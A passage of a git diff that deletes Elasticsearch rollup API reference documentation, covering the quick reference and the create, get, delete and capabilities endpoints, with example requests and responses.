-    "auto_follow_patterns_count" : 0
-  },
-  "enrich" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "transform" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "flattened" : {
-    "available" : true,
-    "enabled" : true,
-    "field_count" : 0
-  },
-  "vectors" : {
-    "available" : true,
-    "enabled" : true,
-    "dense_vector_fields_count" : 0,
-    "dense_vector_dims_avg_count" : 0,
-    "sparse_vector_fields_count" : 0
-  },
-  "voting_only" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "searchable_snapshots" : {
-    "available" : true,
-    "enabled" : true,
-    "indices_count" : 0
-  },
-  "frozen_indices" : {
-    "available" : true,
-    "enabled" : true,
-    "indices_count" : 0
-  },
-  "spatial" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "analytics" : {
-    "available" : true,
-    "enabled" : true,
-    "stats": {
-      "boxplot_usage" : 0,
-      "top_metrics_usage" : 0,
-      "normalize_usage" : 0,
-      "cumulative_cardinality_usage" : 0,
-      "t_test_usage" : 0,
-      "rate_usage" : 0,
-      "string_stats_usage" : 0,
-      "moving_percentiles_usage" : 0
-    }
-  },
-  "data_streams" : {
-    "available" : true,
-    "enabled" : true,
-    "data_streams" : 0,
-    "indices_count" : 0
-  },
-  "data_tiers" : {
-    "available" : true,
-    "enabled" : true,
-    "data_warm" : {
-      "node_count" : 0,
-      "index_count" : 0,
-      "total_shard_count" : 0,
-      "primary_shard_count" : 0,
-      "doc_count" : 0,
-      "total_size_bytes" : 0,
-      "primary_size_bytes" : 0,
-      "primary_shard_size_avg_bytes" : 0,
-      "primary_shard_size_median_bytes" : 0,
-      "primary_shard_size_mad_bytes" : 0
-    },
-    "data_cold" : {
-      "node_count" : 0,
-      "index_count" : 0,
-      "total_shard_count" : 0,
-      "primary_shard_count" : 0,
-      "doc_count" : 0,
-      "total_size_bytes" : 0,
-      "primary_size_bytes" : 0,
-      "primary_shard_size_avg_bytes" : 0,
-      "primary_shard_size_median_bytes" : 0,
-      "primary_shard_size_mad_bytes" : 0
-    },
-    "data_content" : {
-      "node_count" : 0,
-      "index_count" : 0,
-      "total_shard_count" : 0,
-      "primary_shard_count" : 0,
-      "doc_count" : 0,
-      "total_size_bytes" : 0,
-      "primary_size_bytes" : 0,
-      "primary_shard_size_avg_bytes" : 0,
-      "primary_shard_size_median_bytes" : 0,
-      "primary_shard_size_mad_bytes" : 0
-    },
-    "data_hot" : {
-      "node_count" : 0,
-      "index_count" : 0,
-      "total_shard_count" : 0,
-      "primary_shard_count" : 0,
-      "doc_count" : 0,
-      "total_size_bytes" : 0,
-      "primary_size_bytes" : 0,
-      "primary_shard_size_avg_bytes" : 0,
-      "primary_shard_size_median_bytes" : 0,
-      "primary_shard_size_mad_bytes" : 0
-    }
-  }
-}
-------------------------------------------------------------
-// TESTRESPONSE[s/"detectors" : \{[^\}]*\},/"detectors" : $body.$_path,/]
-// TESTRESPONSE[s/"model_size" : \{[^\}]*\},/"model_size" : $body.$_path,/]
-// TESTRESPONSE[s/"eql" : \{[^\}]*\},/"eql" : $body.$_path,/]
-// TESTRESPONSE[s/"ilm" : \{[^\}]*\},/"ilm" : $body.$_path,/]
-// TESTRESPONSE[s/"slm" : \{[^\}]*\},/"slm" : $body.$_path,/]
-// TESTRESPONSE[s/ : true/ : $body.$_path/]
-// TESTRESPONSE[s/ : false/ : $body.$_path/]
-// TESTRESPONSE[s/ : (\-)?[0-9]+/ : $body.$_path/]
-// These replacements do a few things:
-// 1. Handling eql, which is disabled by default on release builds and enabled
-//    everywhere else during the initial implementation phase until its release
-// 2. Ignore the contents of the `ilm` and `slm` objects because they don't know
-//    all of the policies that will be in them.
-// 3. Ignore the contents of the `analytics` object because it might contain
-//    additional stats
-// 4. All of the numbers and strings on the right hand side of *every* field in
-//    the response are ignored. So we're really only asserting things about the
-//    the shape of this response, not the values in it.
diff --git a/docs/reference/rollup/api-quickref.asciidoc b/docs/reference/rollup/api-quickref.asciidoc
deleted file mode 100644
index 89c29b98b59..00000000000
--- a/docs/reference/rollup/api-quickref.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-api-quickref]]
-=== {rollup-cap} API quick reference
-++++
-<titleabbrev>API quick reference</titleabbrev>
-++++
-
-experimental[]
-
-Most rollup endpoints have the following base:
-
-[source,js]
-----
-/_rollup/
-----
-// NOTCONSOLE
-
-[discrete]
-[[rollup-api-jobs]]
-==== /job/
-
-* {ref}/rollup-put-job.html[PUT /_rollup/job/<job_id+++>+++]: Create a {rollup-job}
-* {ref}/rollup-get-job.html[GET /_rollup/job]: List {rollup-jobs}
-* {ref}/rollup-get-job.html[GET /_rollup/job/<job_id+++>+++]: Get {rollup-job} details
-* {ref}/rollup-start-job.html[POST /_rollup/job/<job_id>/_start]: Start a {rollup-job}
-* {ref}/rollup-stop-job.html[POST /_rollup/job/<job_id>/_stop]: Stop a {rollup-job}
-* {ref}/rollup-delete-job.html[DELETE /_rollup/job/<job_id+++>+++]: Delete a {rollup-job}
-
-[discrete]
-[[rollup-api-data]]
-==== /data/
-
-* {ref}/rollup-get-rollup-caps.html[GET /_rollup/data/<index_pattern+++>/_rollup_caps+++]: Get Rollup Capabilities
-* {ref}/rollup-get-rollup-index-caps.html[GET /<index_name+++>/_rollup/data/+++]: Get Rollup Index Capabilities
-
-[discrete]
-[[rollup-api-index]]
-==== /<index_name>/
-
-* {ref}/rollup-search.html[GET /<index_name>/_rollup_search]: Search rollup data
diff --git a/docs/reference/rollup/apis/delete-job.asciidoc b/docs/reference/rollup/apis/delete-job.asciidoc
deleted file mode 100644
index 12ad52eceda..00000000000
--- a/docs/reference/rollup/apis/delete-job.asciidoc
+++ /dev/null
@@ -1,92 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-delete-job]]
-=== Delete {rollup-jobs} API
-[subs="attributes"]
-++++
-<titleabbrev>Delete {rollup-jobs}</titleabbrev>
-++++
-
-Deletes an existing {rollup-job}. 
-
-experimental[]
-
-[[rollup-delete-job-request]]
-==== {api-request-title}
-
-`DELETE _rollup/job/<job_id>`
-
-[[rollup-delete-job-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage` or
-`manage_rollup` cluster privileges to use this API. For more information, see
-<<security-privileges>>.
-
-[[rollup-delete-job-desc]]
-==== {api-description-title}
-
-A job must be *stopped* first before it can be deleted. If you attempt to delete
-a started job, an error occurs. Similarly, if you attempt to delete a
-nonexistent job, an exception occurs.
-
-[IMPORTANT]
-===============================
-When a job is deleted, that only removes the process that is actively monitoring
-and rolling up data. It does not delete any previously rolled up data. This is
-by design; a user may wish to roll up a static dataset. Because the dataset is
-static, once it has been fully rolled up there is no need to keep the indexing
-rollup job around (as there will be no new data). So the job can be deleted,
-leaving behind the rolled up data for analysis.
-
-If you wish to also remove the rollup data, and the rollup index only contains
-the data for a single job, you can simply delete the whole rollup index. If the
-rollup index stores data from several jobs, you must issue a delete-by-query
-that targets the rollup job's ID in the rollup index.
-
-[source,js]
---------------------------------------------------
-POST my_rollup_index/_delete_by_query
-{
-  "query": {
-    "term": {
-      "_rollup.id": "the_rollup_job_id"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-===============================
-
-[[rollup-delete-job-path-params]]
-==== {api-path-parms-title}
-
-`<job_id>`::
-  (Required, string) Identifier for the job.
-
-[[rollup-delete-job-response-codes]]
-==== {api-response-codes-title}
-
-`404` (Missing resources)::
-  This code indicates that there are no resources that match the request. It
-  occurs if you try to delete a job that doesn't exist.
-
-[[rollup-delete-job-example]]
-==== {api-example-title}
-
-If we have a rollup job named `sensor`, it can be deleted with:
-
-[source,console]
---------------------------------------------------
-DELETE _rollup/job/sensor
---------------------------------------------------
-// TEST[setup:sensor_rollup_job]
-
-Which will return the response:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/rollup/apis/get-job.asciidoc b/docs/reference/rollup/apis/get-job.asciidoc
deleted file mode 100644
index 4219de26be7..00000000000
--- a/docs/reference/rollup/apis/get-job.asciidoc
+++ /dev/null
@@ -1,323 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-get-job]]
-=== Get {rollup-jobs} API
-++++
-<titleabbrev>Get job</titleabbrev>
-++++
-
-Retrieves the configuration, stats, and status of {rollup-jobs}.
-
-experimental[]
-
-[[rollup-get-job-request]]
-==== {api-request-title}
-
-`GET _rollup/job/<job_id>`
-
-[[rollup-get-job-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor`,
-`monitor_rollup`, `manage` or `manage_rollup` cluster privileges to use this API.
-For more information, see <<security-privileges>>.
-
-[[rollup-get-job-desc]]
-==== {api-description-title}
-
-The API can return the details for a single {rollup-job} or for all {rollup-jobs}.
-
-NOTE: This API returns only active (both `STARTED` and `STOPPED`) jobs. If a job
-was created, ran for a while then deleted, this API does not return any details
-about that job.
-
-For details about a historical {rollup-job}, the
-<<rollup-get-rollup-caps,rollup capabilities API>> may be more useful.
-
-[[rollup-get-job-path-params]]
-==== {api-path-parms-title}
-
-`<job_id>`::
-  (Optional, string) Identifier for the {rollup-job}. If it is `_all` or omitted,
-   the API returns all {rollup-jobs}.
-
-[role="child_attributes"]
-[[rollup-get-job-response-body]]
-==== {api-response-body-title}
-
-`jobs`::
-(array) An array of {rollup-job} resources. 
-+
-.Properties of {rollup-job} resources
-[%collapsible%open]
-====
-`config`:::
-(object) Contains the configuration for the {rollup-job}. This information is
-identical to the configuration that was supplied when creating the job via the
-<<rollup-put-job,create job API>>.
-
-`stats`:::
-(object) Contains transient statistics about the {rollup-job}, such as how many
-documents have been processed and how many rollup summary docs have been
-indexed. These stats are not persisted. If a node is restarted, these stats are
-reset.
-
-`status`:::
-(object) Contains the current status of the indexer for the {rollup-job}. The
-possible values and their meanings are:
-+
-- `stopped` means the indexer is paused and will not process data, even if its
-cron interval triggers.
-- `started` means the indexer is running, but not actively indexing data. When
-the cron interval triggers, the job's indexer will begin to process data.
-- `indexing` means the indexer is actively processing data and creating new
-rollup documents. When in this state, any subsequent cron interval triggers will
-be ignored because the job is already active with the prior trigger.
-- `abort` is a transient state, which is usually not witnessed by the user. It
-is used if the task needs to be shut down for some reason (job has been deleted,
-an unrecoverable error has been encountered, etc).  Shortly after the `abort`
-state is set, the job will remove itself from the cluster.
-====
-
-[[rollup-get-job-example]]
-==== {api-examples-title}
-
-If we have already created a rollup job named `sensor`, the details about the
-job can be retrieved with:
-
-[source,console]
---------------------------------------------------
-GET _rollup/job/sensor
---------------------------------------------------
-// TEST[setup:sensor_rollup_job]
-
-The API yields the following response:
-
-[source,console-result]
-----
-{
-  "jobs": [
-    {
-      "config": {
-        "id": "sensor",
-        "index_pattern": "sensor-*",
-        "rollup_index": "sensor_rollup",
-        "cron": "*/30 * * * * ?",
-        "groups": {
-          "date_histogram": {
-            "fixed_interval": "1h",
-            "delay": "7d",
-            "field": "timestamp",
-            "time_zone": "UTC"
-          },
-          "terms": {
-            "fields": [
-              "node"
-            ]
-          }
-        },
-        "metrics": [
-          {
-            "field": "temperature",
-            "metrics": [
-              "min",
-              "max",
-              "sum"
-            ]
-          },
-          {
-            "field": "voltage",
-            "metrics": [
-              "avg"
-            ]
-          }
-        ],
-        "timeout": "20s",
-        "page_size": 1000
-      },
-      "status": {
-        "job_state": "stopped",
-        "upgraded_doc_id": true
-      },
-      "stats": {
-        "pages_processed": 0,
-        "documents_processed": 0,
-        "rollups_indexed": 0,
-        "trigger_count": 0,
-        "index_failures": 0,
-        "index_time_in_ms": 0,
-        "index_total": 0,
-        "search_failures": 0,
-        "search_time_in_ms": 0,
-        "search_total": 0,
-        "processing_time_in_ms": 0,
-        "processing_total": 0
-      }
-    }
-  ]
-}
-----
-
-The `jobs` array contains a single job (`id: sensor`) since we requested a single job in the endpoint's URL.
-If we add another job, we can see how multi-job responses are handled:
-
-[source,console]
---------------------------------------------------
-PUT _rollup/job/sensor2 <1>
-{
-  "index_pattern": "sensor-*",
-  "rollup_index": "sensor_rollup",
-  "cron": "*/30 * * * * ?",
-  "page_size": 1000,
-  "groups": {
-    "date_histogram": {
-      "field": "timestamp",
-      "fixed_interval": "1h",
-      "delay": "7d"
-    },
-    "terms": {
-      "fields": [ "node" ]
-    }
-  },
-  "metrics": [
-    {
-      "field": "temperature",
-      "metrics": [ "min", "max", "sum" ]
-    },
-    {
-      "field": "voltage",
-      "metrics": [ "avg" ]
-    }
-  ]
-}
-
-GET _rollup/job/_all <2>
---------------------------------------------------
-// TEST[setup:sensor_rollup_job]
-<1> We create a second job with name `sensor2`
-<2> Then request all jobs by using `_all` in the GetJobs API
-
-Which will yield the following response:
-
-[source,js]
-----
-{
-  "jobs": [
-    {
-      "config": {
-        "id": "sensor2",
-        "index_pattern": "sensor-*",
-        "rollup_index": "sensor_rollup",
-        "cron": "*/30 * * * * ?",
-        "groups": {
-          "date_histogram": {
-            "fixed_interval": "1h",
-            "delay": "7d",
-            "field": "timestamp",
-            "time_zone": "UTC"
-          },
-          "terms": {
-            "fields": [
-              "node"
-            ]
-          }
-        },
-        "metrics": [
-          {
-            "field": "temperature",
-            "metrics": [
-              "min",
-              "max",
-              "sum"
-            ]
-          },
-          {
-            "field": "voltage",
-            "metrics": [
-              "avg"
-            ]
-          }
-        ],
-        "timeout": "20s",
-        "page_size": 1000
-      },
-      "status": {
-        "job_state": "stopped",
-        "upgraded_doc_id": true
-      },
-      "stats": {
-        "pages_processed": 0,
-        "documents_processed": 0,
-        "rollups_indexed": 0,
-        "trigger_count": 0,
-        "index_failures": 0,
-        "index_time_in_ms": 0,
-        "index_total": 0,
-        "search_failures": 0,
-        "search_time_in_ms": 0,
-        "search_total": 0,
-        "processing_time_in_ms": 0,
-        "processing_total": 0
-      }
-    },
-    {
-      "config": {
-        "id": "sensor",
-        "index_pattern": "sensor-*",
-        "rollup_index": "sensor_rollup",
-        "cron": "*/30 * * * * ?",
-        "groups": {
-          "date_histogram": {
-            "fixed_interval": "1h",
-            "delay": "7d",
-            "field": "timestamp",
-            "time_zone": "UTC"
-          },
-          "terms": {
-            "fields": [
-              "node"
-            ]
-          }
-        },
-        "metrics": [
-          {
-            "field": "temperature",
-            "metrics": [
-              "min",
-              "max",
-              "sum"
-            ]
-          },
-          {
-            "field": "voltage",
-            "metrics": [
-              "avg"
-            ]
-          }
-        ],
-        "timeout": "20s",
-        "page_size": 1000
-      },
-      "status": {
-        "job_state": "stopped",
-        "upgraded_doc_id": true
-      },
-      "stats": {
-        "pages_processed": 0,
-        "documents_processed": 0,
-        "rollups_indexed": 0,
-        "trigger_count": 0,
-        "index_failures": 0,
-        "index_time_in_ms": 0,
-        "index_total": 0,
-        "search_failures": 0,
-        "search_time_in_ms": 0,
-        "search_total": 0,
-        "processing_time_in_ms": 0,
-        "processing_total": 0
-      }
-    }
-  ]
-}
-----
-// NOTCONSOLE
diff --git a/docs/reference/rollup/apis/put-job.asciidoc b/docs/reference/rollup/apis/put-job.asciidoc
deleted file mode 100644
index 43a2f9f6f4f..00000000000
--- a/docs/reference/rollup/apis/put-job.asciidoc
+++ /dev/null
@@ -1,290 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-put-job]]
-=== Create {rollup-jobs} API
-[subs="attributes"]
-++++
-<titleabbrev>Create {rollup-jobs}</titleabbrev>
-++++
-
-Creates a {rollup-job}.
-
-experimental[]
-
-[[rollup-put-job-api-request]]
-==== {api-request-title}
-
-`PUT _rollup/job/<job_id>`
-
-[[rollup-put-job-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage` or
-`manage_rollup` cluster privileges to use this API. For more information, see
-<<security-privileges>>.
-
-[[rollup-put-job-api-desc]]
-==== {api-description-title}
-
-The {rollup-job} configuration contains all the details about how the job should
-run, when it indexes documents, and what future queries will be able to execute
-against the rollup index.
-
-There are three main sections to the job configuration: the logistical details
-about the job (cron schedule, etc), the fields that are used for grouping, and
-what metrics to collect for each group.
-
-Jobs are created in a `STOPPED` state. You can start them with the
-<<rollup-start-job,start {rollup-jobs} API>>.
-
-[[rollup-put-job-api-path-params]]
-==== {api-path-parms-title}
-
-`<job_id>`::
-  (Required, string) Identifier for the {rollup-job}. This can be any
-  alphanumeric string and uniquely identifies the data that is associated with
-  the {rollup-job}. The ID is persistent; it is stored with the rolled up data.
-  If you create a job, let it run for a while, then delete the job, the data
-  that the job rolled up is still be associated with this job ID. You cannot
-  create a new job with the same ID since that could lead to problems with
-  mismatched job configurations.
-
-[role="child_attributes"]
-[[rollup-put-job-api-request-body]]
-==== {api-request-body-title}
-
-`cron`::
-(Required, string) A cron string which defines the intervals when the
-{rollup-job} should be executed. When the interval triggers, the indexer
-attempts to rollup the data in the index pattern. The cron pattern is
-unrelated to the time interval of the data being rolled up. For example, you
-may wish to create hourly rollups of your document but to only run the indexer
-on a daily basis at midnight, as defined by the cron. The cron pattern is
-defined just like a {watcher} cron schedule.
-
-//Begin groups
-[[rollup-groups-config]]
-`groups`::
-(Required, object) Defines the grouping fields and aggregations that are
-defined for this {rollup-job}. These fields will then be available later for
-aggregating into buckets.
-+
-These aggs and fields can be used in any combination. Think of the `groups`
-configuration as defining a set of tools that can later be used in aggregations
-to partition the data. Unlike raw data, we have to think ahead to which fields
-and aggregations might be used. Rollups provide enough flexibility that you
-simply need to determine _which_ fields are needed, not _in what order_ they are
-needed.
-+
-There are three types of groupings currently available: `date_histogram`,
-`histogram`, and `terms`.
-+
-.Properties of `groups`
-[%collapsible%open]
-====
-//Begin date_histogram
-`date_histogram`:::
-(Required, object) A date histogram group aggregates a `date` field into
-time-based buckets. This group is *mandatory*; you currently cannot rollup
-documents without a timestamp and a `date_histogram` group. The
-`date_histogram` group has several parameters:
-+
-.Properties of `date_histogram`
-[%collapsible%open]
-===== 
-`calendar_interval` or `fixed_interval`::::
-(Required, <<time-units,time units>>) The interval of time buckets to be
-generated when rolling up. For example, `60m` produces 60 minute (hourly)
-rollups. This follows standard time formatting syntax as used elsewhere in {es}.
-The interval defines the _minimum_ interval that can be aggregated only. If
-hourly (`60m`) intervals are configured, <<rollup-search,rollup search>>
-can execute aggregations with 60m or greater (weekly, monthly, etc) intervals.
-So define the interval as the smallest unit that you wish to later query. For
-more information about the difference between calendar and fixed time
-intervals, see <<calendar_and_fixed_intervals>>.
-+
---
-NOTE: Smaller, more granular intervals take up proportionally more space.
-
---
-
-`delay`::::
-(Optional,<<time-units,time units>>) How long to wait before rolling up new
-documents. By default, the indexer attempts to roll up all data that is
-available. However, it is not uncommon for data to arrive out of order,
-sometimes even a few days late. The indexer is unable to deal with data that
-arrives after a time-span has been rolled up. That is to say, there is no
-provision to update already-existing rollups.
-+
---
-Instead, you should specify a `delay` that matches the longest period of time
-you expect out-of-order data to arrive. For example, a `delay` of `1d`
-instructs the indexer to roll up documents up to `now - 1d`, which provides
-a day of buffer time for out-of-order documents to arrive.
---
-
-`field`::::
-(Required, string) The date field that is to be rolled up.
-
-`time_zone`::::
-(Optional, string) Defines what time_zone the rollup documents are stored as.
-Unlike raw data, which can shift timezones on the fly, rolled documents have to
-be stored with a specific timezone. By default, rollup documents are stored
-in `UTC`.
-=====
-//End date_histogram
-
-//Begin histogram
-`histogram`:::
-(Optional, object) The histogram group aggregates one or more numeric fields
-into numeric histogram intervals. 
-+
-.Properties of `histogram`
-[%collapsible%open]
-===== 
-`fields`::::
-(Required, array) The set of fields that you wish to build histograms for. All
-fields specified must be some kind of numeric. Order does not matter.
-
-`interval`::::
-(Required, integer) The interval of histogram buckets to be generated when
-rolling up. For example, a value of `5` creates buckets that are five units wide
-(`0-5`, `5-10`, etc). Note that only one interval can be specified in the
-`histogram` group, meaning that all fields being grouped via the histogram
-must share the same interval.
-=====
-//End histogram
-
-//Begin terms
-`terms`:::
-(Optional, object) The terms group can be used on `keyword` or numeric fields to
-allow bucketing via the `terms` aggregation at a later point. The indexer
-enumerates and stores _all_ values of a field for each time-period. This can be
-potentially costly for high-cardinality groups such as IP addresses, especially
-if the time-bucket is particularly sparse.
-+
---
-TIP: While it is unlikely that a rollup will ever be larger in size than the raw
-data, defining `terms` groups on multiple high-cardinality fields can
-effectively reduce the compression of a rollup to a large extent. You should be
-judicious which high-cardinality fields are included for that reason.
-
---
-+
-.Properties of `terms`
-[%collapsible%open]
-===== 
-
-`fields`::::
-(Required, string) The set of fields that you wish to collect terms for. This
-array can contain fields that are both `keyword` and numerics. Order does not
-matter.
-=====
-//End terms
-====
-//End groups
-
-`index_pattern`::
-(Required, string) The index or index pattern to roll up. Supports
-wildcard-style patterns (`logstash-*`). The job attempts to rollup the entire
-index or index-pattern.
-+
---
-NOTE: The `index_pattern` cannot be a pattern that would also match the
-destination `rollup_index`. For example, the pattern `foo-*` would match the
-rollup index `foo-rollup`. This situation would cause problems because the
-{rollup-job} would attempt to rollup its own data at runtime. If you attempt to
-configure a pattern that matches the `rollup_index`, an exception occurs to
-prevent this behavior.
-
---
-
-//Begin metrics
-[[rollup-metrics-config]]
-`metrics`::
-(Optional, object) Defines the metrics to collect for each grouping tuple. By
-default, only the doc_counts are collected for each group. To make rollup useful,
-you will often add metrics like averages, mins, maxes, etc. Metrics are defined
-on a per-field basis and for each field you configure which metric should be
-collected.
-+
-The `metrics` configuration accepts an array of objects, where each object has
-two parameters.
-+
-.Properties of metric objects
-[%collapsible%open]
-====
-`field`:::
-(Required, string) The field to collect metrics for. This must be a numeric of
-some kind.
-
-`metrics`:::
-(Required, array) An array of metrics to collect for the field. At least one
-metric must be configured. Acceptable metrics are `min`,`max`,`sum`,`avg`, and
-`value_count`.
-====
-//End metrics
-
-`page_size`::
-(Required, integer) The number of bucket results that are processed on each
-iteration of the rollup indexer. A larger value tends to execute faster, but
-requires more memory during processing. This value has no effect on how the data
-is rolled up; it is merely used for tweaking the speed or memory cost of
-the indexer.
-
-`rollup_index`::
-(Required, string) The index that contains the rollup results. The index can
-be shared with other {rollup-jobs}. The data is stored so that it doesn't
-interfere with unrelated jobs.
-
-[[rollup-put-job-api-example]]
-==== {api-example-title}
-
-The following example creates a {rollup-job} named `sensor`, targeting the
-`sensor-*` index pattern:
-
-[source,console]
---------------------------------------------------
-PUT _rollup/job/sensor
-{
-  "index_pattern": "sensor-*",
-  "rollup_index": "sensor_rollup",
-  "cron": "*/30 * * * * ?",
-  "page_size": 1000,
-  "groups": { <1>
-    "date_histogram": {
-      "field": "timestamp",
-      "fixed_interval": "1h",
-      "delay": "7d"
-    },
-    "terms": {
-      "fields": [ "node" ]
-    }
-  },
-  "metrics": [ <2>
-      {
-      "field": "temperature",
-      "metrics": [ "min", "max", "sum" ]
-    },
-    {
-      "field": "voltage",
-      "metrics": [ "avg" ]
-    }
-  ]
-}
---------------------------------------------------
-// TEST[setup:sensor_index]
-<1> This configuration enables date histograms to be used on the `timestamp`
-field and `terms` aggregations to be used on the `node` field.
-<2> This configuration defines metrics over two fields: `temperature` and
-`voltage`. For the `temperature` field, we are collecting the min, max, and
-sum of the temperature. For `voltage`, we are collecting the average.
-
-When the job is created, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/rollup/apis/rollup-caps.asciidoc b/docs/reference/rollup/apis/rollup-caps.asciidoc
deleted file mode 100644
index 1d0e620a94f..00000000000
--- a/docs/reference/rollup/apis/rollup-caps.asciidoc
+++ /dev/null
@@ -1,190 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-get-rollup-caps]]
-=== Get {rollup-job} capabilities API
-++++
-<titleabbrev>Get rollup caps</titleabbrev>
-++++
-
-Returns the capabilities of any {rollup-jobs} that have been configured for a
-specific index or index pattern.
-
-experimental[]
-
-[[rollup-get-rollup-caps-request]]
-==== {api-request-title}
-
-`GET _rollup/data/<index>`
-
-[[rollup-get-rollup-caps-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor`,
-`monitor_rollup`, `manage` or `manage_rollup` cluster privileges to use this API.
-For more information, see <<security-privileges>>.
-
-[[rollup-get-rollup-caps-desc]]
-==== {api-description-title}
-
-This API is useful because a {rollup-job} is often configured to rollup only a
-subset of fields from the source index. Furthermore, only certain aggregations
-can be configured for various fields, leading to a limited subset of
-functionality depending on that configuration.
-
-This API enables you to inspect an index and determine:
-
-1. Does this index have associated rollup data somewhere in the cluster?
-2. If yes to the first question, what fields were rolled up, what aggregations
-can be performed, and where does the data live?
-
-[[rollup-get-rollup-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-  (string) Index, indices or index-pattern to return rollup capabilities for. 
-  `_all` may be used to fetch rollup capabilities from all jobs.
-
-
-[[rollup-get-rollup-example]]
-==== {api-examples-title}
-
-Imagine we have an index named `sensor-1` full of raw data.  We know that the
-data will grow over time, so there will be a `sensor-2`, `sensor-3`, etc.  Let's
-create a {rollup-job} that targets the index pattern `sensor-*` to accommodate
-this future scaling:
-
-[source,console]
---------------------------------------------------
-PUT _rollup/job/sensor
-{
-  "index_pattern": "sensor-*",
-  "rollup_index": "sensor_rollup",
-  "cron": "*/30 * * * * ?",
-  "page_size": 1000,
-  "groups": {
-    "date_histogram": {
-      "field": "timestamp",
-      "fixed_interval": "1h",
-      "delay": "7d"
-    },
-    "terms": {
-      "fields": [ "node" ]
-    }
-  },
-  "metrics": [
-    {
-      "field": "temperature",
-      "metrics": [ "min", "max", "sum" ]
-    },
-    {
-      "field": "voltage",
-      "metrics": [ "avg" ]
-    }
-  ]
-}
---------------------------------------------------
-// TEST[setup:sensor_index]
-
-We can then retrieve the rollup capabilities of that index pattern (`sensor-*`)
-via the following command:
-
-[source,console]
---------------------------------------------------
-GET _rollup/data/sensor-*
---------------------------------------------------
-// TEST[continued]
-
-Which will yield the following response:
-
-[source,console-result]
-----
-{
-  "sensor-*" : {
-    "rollup_jobs" : [
-      {
-        "job_id" : "sensor",
-        "rollup_index" : "sensor_rollup",
-        "index_pattern" : "sensor-*",
-        "fields" : {
-          "node" : [
-            {
-              "agg" : "terms"
-            }
-          ],
-          "temperature" : [
-            {
-              "agg" : "min"
-            },
-            {
-              "agg" : "max"
-            },
-            {
-              "agg" : "sum"
-            }
-          ],
-          "timestamp" : [
-            {
-              "agg" : "date_histogram",
-              "time_zone" : "UTC",
-              "fixed_interval" : "1h",
-              "delay": "7d"
-            }
-          ],
-          "voltage" : [
-            {
-              "agg" : "avg"
-            }
-          ]
-        }
-      }
-    ]
-  }
-}
-----
-
-The response that is returned contains information that is similar to the
-original rollup configuration, but formatted differently.  First, there are some
-house-keeping details: the {rollup-job} ID, the index that holds the rolled data,
-and the index pattern that the job was targeting.
-
-Next it shows a list of fields that contain data eligible for rollup searches.
-Here we see four fields: `node`, `temperature`, `timestamp` and `voltage`. Each
-of these fields list the aggregations that are possible. For example, you can
-use a min, max or sum aggregation on the `temperature` field, but only a
-`date_histogram` on `timestamp`.
-
-Note that the `rollup_jobs` element is an array; there can be multiple,
-independent jobs configured for a single index or index pattern. Each of these
-jobs may have different configurations, so the API returns a list of all the
-various configurations available.
-
-We could also retrieve the same information with a request to `_all`:
-
-[source,console]
---------------------------------------------------
-GET _rollup/data/_all
---------------------------------------------------
-// TEST[continued]
-
-But note that if we use the concrete index name (`sensor-1`), we'll retrieve no
-rollup capabilities:
-
-[source,console]
---------------------------------------------------
-GET _rollup/data/sensor-1
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
-----
-{
-
-}
-----
-
-Why is this?  The original {rollup-job} was configured against a specific index
-pattern (`sensor-*`) not a concrete index (`sensor-1`).  So while the index
-belongs to the pattern, the {rollup-job} is only valid across the entirety of
-the pattern not just one of it's containing indices. So for that reason, the
-get rollup capabilities API only returns information based on the originally
-configured index name or pattern.
diff --git a/docs/reference/rollup/apis/rollup-index-caps.asciidoc b/docs/reference/rollup/apis/rollup-index-caps.asciidoc
deleted file mode 100644
index b8cce32db5d..00000000000
--- a/docs/reference/rollup/apis/rollup-index-caps.asciidoc
+++ /dev/null
@@ -1,167 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-get-rollup-index-caps]]
-=== Get rollup index capabilities API
-++++
-<titleabbrev>Get rollup index caps</titleabbrev>
-++++
-
-Returns the rollup capabilities of all jobs inside of a rollup index (e.g. the
-index where rollup data is stored).
-
-experimental[]
-
-[[rollup-get-rollup-index-caps-request]]
-==== {api-request-title}
-
-`GET <target>/_rollup/data`
-
-[[rollup-get-rollup-index-caps-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `read` index
-privilege on the index that stores the rollup results. For more information, see
-<<security-privileges>>.
-
-[[rollup-get-rollup-index-caps-desc]]
-==== {api-description-title}
-
-A single rollup index may store the data for multiple {rollup-jobs}, and may
-have a variety of capabilities depending on those jobs.
-
-This API will allow you to determine:
-
-1. What jobs are stored in an index (or indices specified via a pattern)?
-2. What target indices were rolled up, what fields were used in those rollups
-and what aggregations can be performed on each job?
-
-[[rollup-get-rollup-index-caps-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Required, string) Data stream or index to check for rollup capabilities.
-Wildcard (`*`) expressions are supported.
-
-[[rollup-get-rollup-index-caps-example]]
-==== {api-examples-title}
-
-Imagine we have an index named `sensor-1` full of raw data.  We know that the
-data will grow over time, so there will be a `sensor-2`, `sensor-3`, etc. 
-Let's create a {rollup-job} that stores its data in `sensor_rollup`:
-
-[source,console]
---------------------------------------------------
-PUT _rollup/job/sensor
-{
-  "index_pattern": "sensor-*",
-  "rollup_index": "sensor_rollup",
-  "cron": "*/30 * * * * ?",
-  "page_size": 1000,
-  "groups": {
-    "date_histogram": {
-      "field": "timestamp",
